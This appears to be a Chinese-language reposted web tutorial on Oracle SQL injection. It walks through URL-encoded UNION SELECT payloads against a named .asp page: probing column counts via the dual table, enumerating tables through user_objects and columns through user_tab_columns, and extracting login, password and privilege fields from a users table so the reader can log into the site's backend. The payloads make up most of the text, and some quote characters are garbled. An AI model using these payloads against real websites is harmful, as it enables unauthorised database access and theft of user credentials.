好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

oracle sql injection - 网站安全 - 自学php

作者  b0mb#qq.com

 

不同的数据库有不同语法 注入语句也不同Code:

 

https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL%

 

20from%20dual–

这个dual是oracle的一个伪表 他不存贮数据 就像一个临时表一样  一个借助的对象 具体自己百度

假如这是一个oracle注入点的话 会出现这样的错误

 

Code:

 

[Oracle][ODBC][Ora]ORA-01789: query block has incorrect number of result

columns

 

现在我们来猜显示位 就像sql injection那样 不过不是1,2,3,4,5.。。。。 而是用null

 

https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL,NULL,NULL,NULL%

 

20from%20dual–

 

增加null 直到不出错

 

然后我们来猜 哪个显示位可以显示  就像sql injection那样

 

用’a’ 来代替null  看哪个不出错 就是哪个  当你找完显示位 我们就可以找数据库中的数据了要做到这一点 我可以使用]user_objects]  我们还可以用]object_name] 和]object_type]表名 来显示显示什么表的名称和类型是为用户指定的数据

 

code:

 

https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL,

 

object_name,object_type,NULL%20from%20user_objects–

 

tip:我们可以用all_user_objects来代替user_objects, 这个将会看到所有的信息 ,即使当前用户不拥有它的用户

我们现在看到了很多不同表的名称和类型 如果不这样做 你会得到错误

 

在我的例子里面我们只是在找user的表,下面我们来找表内的列名 就像这样user_tab_columns表

 

Code:

 

https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL,

 

column_name,NULL,NULL%20from%20user_tab_columns%20where%20table_name%20%

3d%20��’USERS��’–

 

tip:%3d 是一个url编码的数据等于and %20  也是url编码的数据 等于空格

 

现在我们来得到账户 密码 权限 列名 就像这样:

 

Code:

 

https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL,

 

login,password,priviledge%20from%20users–

现在你就可以登录后台了

 

tip:如果只有一列,它使用字符串数据类型,那么你可以连接多个列,像这样

 

Code:

 

https://www.2cto.com /calender.asp?day=7%20UNION%20SELECT%20NULL,

 

login||��’:��’||password||��’:��’||priviledge,NULL,NULL%20from%20user_objects–

 

这个就像concat函数在mysql里一样 不知道oracle 有没有group_concat函数 看来我得研究研究了

 

tip:这些都只是皮毛 如果你真的想学好oracle 就要在本地架设oracle数据库 然后找几本 电子书 来看

查看更多关于oracle sql injection - 网站安全 - 自学php的详细内容...

  阅读:37次